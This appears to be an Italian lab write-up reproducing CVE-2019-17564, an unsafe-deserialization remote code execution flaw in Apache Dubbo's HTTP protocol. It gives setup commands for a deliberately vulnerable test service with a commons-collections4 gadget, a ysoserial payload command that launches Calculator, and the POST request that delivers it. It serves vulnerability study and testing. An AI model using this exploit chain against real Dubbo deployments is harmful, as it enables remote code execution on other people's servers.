
CVE-2019-17564: Vulnerabilità di deserializzazione di Apache Dubbo
Apache Dubbo è un framework RPC Java open source ad alte prestazioni e leggero che fornisce tre capacità fondamentali: chiamate a metodi remoti orientate all'interfaccia, tolleranza ai guasti intelligente e bilanciamento del carico, nonché registrazione e scoperta automatica dei servizi.
Apache Dubbo supporta vari protocolli, con il protocollo Dubbo raccomandato ufficialmente. Una vulnerabilità di deserializzazione (CVE-2019-17564) nel protocollo HTTP di Apache Dubbo è causata principalmente dal fatto che, quando Apache Dubbo abilita il protocollo HTTP, gestisce in modo improprio il corpo del messaggio, portando a una deserializzazione non sicura. Se nel pacchetto del progetto sono presenti gadget utilizzabili, ciò può portare all'esecuzione remota di codice.
2.7.0 <= Apache Dubbo <= 2.7.4.1 2.6.0 <= Apache Dubbo <= 2.6.7 Apache Dubbo = 2.5.x
wget https://archive.apache.org/dist/zookeeper/zookeeper-3.4.10/zookeeper-3.4.10.tar.gz
# Rinomina zoo_sample.cfg in zoo.cfg nella directory conf
mv zoo_sample.cfg zoo.cfg
# Entra nella directory bin e avvia Zookeeper
./zkServer.sh start

git clone https://github.com/apache/dubbo-samples
# Entra nella directory dubbo-samples-http e modifica pom.xml
vim pom.xml
Modifica la versione di Dubbo a una versione vulnerabile
Aggiungi una dipendenza, importa un gadget attivabile, qui viene importato commons-collections4-4.0
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

mvn clean package
mvn -Djava.net.preferIPv4Stack=true -Dexec.mainClass=org.apache.dubbo.samples.http.HttpProvider exec:java

Payload
POST /org.apache.dubbo.samples.http.api.DemoService HTTP/1.1
Host: 127.0.0.1:8080
payload
Qui viene utilizzato ysoserial per generare il payload
java -jar ysoserial-master-55f1e7c35c-1.jar CommonsCollections4 /System/Applications/Calculator.app/Contents/MacOS/Calculator > 1.ser
Invio con Burp Suite

https://www.mail-archive.com/[email protected]/msg06225.html